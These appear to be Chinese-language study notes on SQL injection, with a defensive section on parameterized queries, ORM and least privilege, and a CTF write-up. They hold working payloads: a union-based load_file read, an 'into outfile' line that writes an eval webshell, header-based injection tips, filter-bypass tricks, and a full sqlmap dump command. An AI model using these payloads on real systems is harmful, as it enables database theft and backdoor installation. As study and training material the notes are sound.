SQL注入篇
Sql注入的一些零碎知识点
Access 数据库默认路径存放在网站的:/db/db.mdb
.Mdb 后缀就是 access 数据库文件的后缀名
123asp.jpg 的后门连接不成功
123asp;.jpg 的后门可以连接成功(虽然还是图片格式,但却可以连接成功)
这是利用了解析漏洞 这是 iis6 版本的解析漏洞
在 iis6 版本中,要是文件夹以 xx.asp 命名的话,此文件夹下的所有文件会被当成 asp 文件来解析(这个漏洞就是配合文件上传漏洞的时候利用,如果发现对方服务器存在文件上传漏洞,并且版本环境满足此条件,就可以利用这种方式获取 webshell)
Sql 注入漏洞产生的原因:主要是对用户输入的数据没有过滤和正确的验证,使得恶意用户能够在输入中插入恶意的SQL代码,从而对数据库进行非法操作
由于这个 sql 语句是在数据库中执行,什么 sql 语句能有什么执行功能都是由数据库决定的。所以说为什么注入叫做数据库注入
在尝试判断页面是否存在 sql 注入时会有两种页面错误注意区分:
{
- 代码容错的报错,也就是网站 404 的页面,这种是因为代码对用户输入的东西做了设置,如果感觉你在进行非法的输入,直接提示 404,或者直接重定向。而不是数据库在报错,这种并不代表页面存在 sql 注入
- 数据库的响应报错,这种才是证明有 sql 注入的存在
}
Php 加 mysql 搭建网站的架构有两种:
{
- 数据库统一管理(每个网站都由 root 用户来统一管理)
- 每个网站由对应的用户去管理(一个用户对应一个网站)
}
注入的基本流程:
-
查看当前数据库名:database()
-
查看指定数据库里有的表
{
select table_name from information_schema.tables where table_schema='dome01';
}
- 查看指定数据库下指定表里的字段名
{
select group_concat(column_name) from information_schema.columns where table_schema='dome01' and table_name='new';
}
回显可能只会有一个,用 group_concat 函数把字段名包起来使用,会把查询出来的所有数据显示在一行上。如果过多 就用 limit 一个个显示.
查看此 Mysql 服务器下有多少库命令:select group_concat(schema_name) from information_schema.schemata
有时候用工具或者手工注入都感觉那是一个注入点,但是就是注入不了原因是{
数据的请求类型所造成的(也就是说 sql 语句的闭合符号问题,必须要测出别人是怎么闭合的 sql 语句,才能正确闭合前段 sql 语句。
}
在开发者写 sql 查询语句中,为什么要加闭合符号呢,因为不确定接收到的值会不会单纯的只是数字或者字符串,所以为了确保兼容性会把变量左右加上引号。{
Select * from users where id=1
这个 id=1 或者 id=‘1’ 或者 id=(‘1’)或者 (id=‘1’)都是可以正常查询的
}
Mysql 中的模糊查询
{
Select * from users where username like ‘% 字符 %’;
% 是任意多个字符
}
如果#和--+ 都不能达到注释的效果,可以用原语句的闭合符号,达到注释结尾的效果:
{
1‘)union select 1,2,3,4,5 and (‘=
把前面的闭合符号 反着写回去就好了
}
在文件上传的地方可能也会存在 sql 注入
{
上传的文件名字需要数据库进行保存的时候用到的语句就是 insert into
}
使用 server 超全局变量去接收值的时候,不论是在 url 里的参数还是 post 体里的值都是可以接收到的
使用 cookie 这个超全局变量传值就是在浏览器的 cookie 选项卡里面自己设置
$_SERVER[‘HTTP_USER_AGENT’] : 拿到 ua 头的方法
UA 头的用途:
{
浏览器信息和操作系统信息
服务端可能会通过不同的 ua 头,来判断你是来自手机端还是电脑端;不同的设备服务器会响应不同的数据
服务器可能会收集用户的 ua 头部,存储到自己的服务器里面(把 ua 头换成 sql 语句);这就可能会造成一个注入漏洞
}
$_SERVER[‘HTTP_X_FORWARDED_FOR’]: {
这个 Xff 注入得先判断服务器是否接收用户的 ip 地址,并带入到数据库中去查询了;有没有带到数据库中去查询很重要
对方服务器可能会把一个具有攻击行为的 IP 地址记录到服务器里面去,这就满足了一个条件
获取 HTTP 头部里 x-Forwarded-for 的值
用这个来接收用户的 IP 地址会有安全隐患;会造成 xff 注入;通过修改数据包来以达到欺骗服务器的目的
做法:直接在数据包中添加一个头部信息 x-Forwarded-for: +(sql 注入语句)
}
三个存在注入的可能
{
- 收集 UA 头的服务器
- 记录攻击行为 IP 服务器
- 通过 x-Fowardef-for 头来收集用户 IP 地址的
}
如果是代码中定义好了的白名单 IP,可以通过改包绕过
$_SERVER[‘HTTP_HOST’]:获取客户端的 IP 地址
$_SERVER[‘HTTP_REFERER’] :客户端访问此页面的来源,Referer 头也有可能会存在注入的风险
三种 sql 盲注:
{
布尔盲注是需要页面有回显的,因为要通过整个页面的真假值来判断我们的 sql 语句构建的是否有效
延时盲注可以不需要页面回显,如果猜测成功设置睡眠三秒,三秒过后才会显示网站页面;以此为依据就可以推测出 sql 语句是否构建有效(但过于耗费时间,没办法的办法)
基于报错的强制回显注入需要有报错处理回显存在才可以使用;
}
sql注入之文件读写:
{
?id=-1 union select 1,2,load_file("D:/1.txt")--+
?id=-1 union select 1,2,"eval($_post['pass']);" into outfile 'c:/1.php'--+
}
1. sqlmap超详细笔记+思维导图 - bmjoker - 博客园 (cnblogs.com)
sqlmap官网:sqlmap: automatic SQL injection and database takeover tool
防范Sql注入的安全配置
-
使用参数化查询: 使用参数化查询而不是将用户输入直接嵌入SQL语句中。这可以防止恶意输入被解释为SQL代码。
-
第一条方法是指使用"参数化查询"或"预编译语句"来执行数据库查询,而不是直接将用户提供的数据嵌入到SQL语句中。现在让我用更通俗易懂的语言来解释一下。
在一个网站或应用程序中,当你需要从数据库中检索或修改数据时,通常会使用一种叫做SQL(Structured Query Language)的语言。这个语言允许你向数据库发出指令,比如"获取这个用户的信息"或"更新那个产品的价格"。
SQL注入是一种攻击方式,攻击者试图在用户输入中插入恶意的SQL代码,以便影响数据库的操作。为了防止这种攻击,可以采用参数化查询的方法。
假设有一个简单的数据库查询,通过用户名获取用户信息的SQL语句可能是这样的:
SELECT * FROM users WHERE username = '输入的用户名';
如果直接将用户输入的用户名放入这个SQL语句中,就有可能受到SQL注入攻击。为了防止这种情况,可以使用参数化查询,将SQL语句和用户提供的数据分开。具体做法是,使用带有占位符的SQL语句,然后将用户输入的数据作为参数传递给这个SQL语句。
例如,在使用Python的情况下,可能会使用像下面这样的代码:
username = 用户输入的用户名 cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
这样,无论用户输入什么样的用户名,它都不会被直接嵌入到SQL语句中,从而防止了SQL注入攻击。数据库系统会确保输入被正确地处理,而不是被误解为恶意的SQL代码。这是一种防范SQL注入的有效方法。
-
在参数化查询中,用户提供的输入被视为数据,而不是SQL代码的一部分,因此无论用户输入了什么,都不会影响SQL语句的结构。比如说输入了像
--
和#
这样的注释符号,它们将被视为普通的文本数据,而不是SQL注释符号。这样,即使用户输入了一些特殊字符,它们也不会被解释为SQL代码,从而有效地防止了注入攻击。
-
-
使用ORM(对象关系映射): 对象关系映射工具可以帮助你以面向对象的方式与数据库交互,从而减少直接SQL查询的需求。
-
ORM 提供了一种方式,让我们可以用面向对象的方式来操作数据库,而不必直接使用SQL语句。它把数据库中的表映射成程序中的对象,让我们可以用对象的方式来读取、更新、删除和插入数据,而不用写复杂的SQL查询语句。
比如,有一个用户表,它有用户名和密码两列。使用ORM后,我们可以创建一个对应的用户对象,然后像操作普通对象一样,通过这个用户对象来操作数据库。这样,我们就不用亲自写SQL语句,ORM会帮我们翻译我们的对象操作成对应的SQL语句,然后执行。
总的来说,ORM让我们用更自然、更面向对象的方式来处理数据库操作,简化了数据库操作的复杂性,同时也有助于防止一些常见的数据库安全问题。
-
我的理解就是使用了ORM工具的话,在查询数据库的数据或者更新数据库的数据等操作的时候,并不需要开发者在代码内构建与数据库的连接,只在代码体内就可以实现数据库的各种操作;
ORM框架会负责将你的对象操作翻译成对应的SQL语句,并且处理底层的数据库连接细节。这样,你能够更专注于业务逻辑,而不必过多关注数据库的底层细节。
-
-
最小权限原则: 给予数据库用户最小必要的权限,确保他们只能执行其需要的操作。不要使用具有超出必要权限的账户连接数据库。
-
输入验证和过滤: 对用户输入进行验证和过滤,确保只接受预期的数据类型和格式。不信任的输入应该被拒绝。
-
转义字符: 对于那些必须包含用户输入的地方,使用转义字符来处理特殊字符,从而防止它们被误解为SQL代码。
-
错误信息处理: 在生产环境中,限制详细的错误信息输出,以防攻击者从中获取敏感信息。错误信息应该被记录而不是直接返回给用户。
-
安全更新和维护: 及时更新数据库系统和应用程序,以确保获得最新的安全性修复。
-
审计和监控: 实施审计和监控机制,以便检测潜在的SQL注入尝试,并追踪系统中的异常行为。
-
WAF(Web应用程序防火墙): 在Web应用程序前面使用WAF可以帮助检测和防止一些SQL注入攻击。
-
教育和培训: 对开发人员进行SQL注入的培训,使其了解潜在的风险,并知道如何正确地处理用户输入。
-
总结:单一的安全措施不足以防止所有类型的攻击,最佳做法是结合多种方法,形成全面的安全策略。
CTF中sql注入的WP:
看到URL上的id参数了,确认是SQL注入的题目;
Python sqlmap.py -u "http://c03a36bc-3122-4b53-aebe-585fe0c7e526.challenge.ctf.show/index.php?id=1" --level=3 --batch
--tamper="space2comment.py,versionedkeywords.py" -D web7 -T flag -C flag –dump
下面是对这个命令的解释:
{
• python sqlmap.py: 运行sqlmap.py脚本。
• -u "http://381023e7-4a89-45e2-abc4-92e0692a40c5.challenge.ctf.show/index.php?id=1": 指定待测试的URL,其中id=1是需要进行注入测试的参数。
• --level=3: 设置SQL注入测试的级别为3,级别越高会执行更多的测试和攻击技巧。
• --batch: 使用批处理模式,不要求用户手动确认每次请求。
• --tamper="space2comment.py,versionedkeywords.py": 指定SQL语句的混淆和优化技术,使用了两个tamper脚本来修改和变换SQL语句的结构。
• -D web7: 指定目标数据库名称为web7。
• -T flag: 指定目标数据表名称为flag。
• -C flag: 指定目标数据列名称为flag。
• --dump: 尝试获取目标数据库、表和列中的数据。
总体而言,这个命令就是通过sqlmap工具对指定的URL进行SQL注入测试,然后使用特定的参数和配置尝试获取目标数据库中名为web7的表中的名为flag的列中的数据。
}
这道题过滤了空格,用这个万能密码测试是否存在注入点:username=asd"or(true)#&password=123
sql注入中正则过滤了空格 可以用 “//” 或者 “/**/”来替代空格绕过过滤
像这种最后位数不足的,可以使用截断函数进行绕过 , s u b s t r , r ig h t , R EV E RS E 被过滤(测试出来的),只能用mid
Mid(str,开始位置下标(从1开始算),长度)
这道题关键的几个点就是:
空格被过滤成了/**/
等号被过滤成了like
过滤了substr等截断函数
Substr函数和mid函数参数一样,不过substr函数的开始下标位置从0开始,并且如果提取失败返回值是false